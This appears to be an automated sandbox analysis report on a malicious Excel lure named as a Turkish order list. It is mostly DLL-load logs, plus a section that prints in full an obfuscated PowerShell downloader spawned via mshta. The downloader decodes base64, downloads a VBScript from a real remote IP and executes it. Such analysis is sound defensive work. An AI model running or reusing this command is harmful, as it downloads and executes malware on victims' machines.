                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: oleacc.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: msls31.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d2d1.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: dxgi.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d11.dllJump to behavior
                Source: C:\Windows\System32\mshta.exeSection loaded: d3d10warp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\cmd.exeSection loaded: winbrand.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: dwmapi.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: ntmarta.dll
                Source: C:\Windows\System32\wscript.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winmm.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: shcore.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winnsi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dnsapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dhcpcsvc6.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dhcpcsvc.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rasadhlp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: secur32.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winhttp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: webio.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: nlaapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winmm.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: shcore.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: iphlpapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winnsi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: secur32.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: rpcrtremote.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: atl.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: pstorec.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: atl.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64win.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wow64cpu.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: mozglue.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: dbghelp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: msvcp140.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: vcruntime140.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: ucrtbase.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: winmm.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: wsock32.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: cryptsp.dll
                Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
                Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
                Source: Sipari#U015f_listesi.xlsStatic file information: File size 1158656 > 1048576
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.pdb source: powershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: .pdbr source: powershell.exe, 00000012.00000002.509006435.000000001AC6A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.pdb source: powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: .pdb!L source: powershell.exe, 00000008.00000002.487989896.000000001C323000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.pdbhP source: powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.pdbhP source: powershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp
                Source: AD430000.0.drInitial sample: OLE indicators vbamacros = False
                Source: Sipari#U015f_listesi.xlsInitial sample: OLE indicators encrypted = True

                Data Obfuscation

                barindex
                PowerShell case anomaly found
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
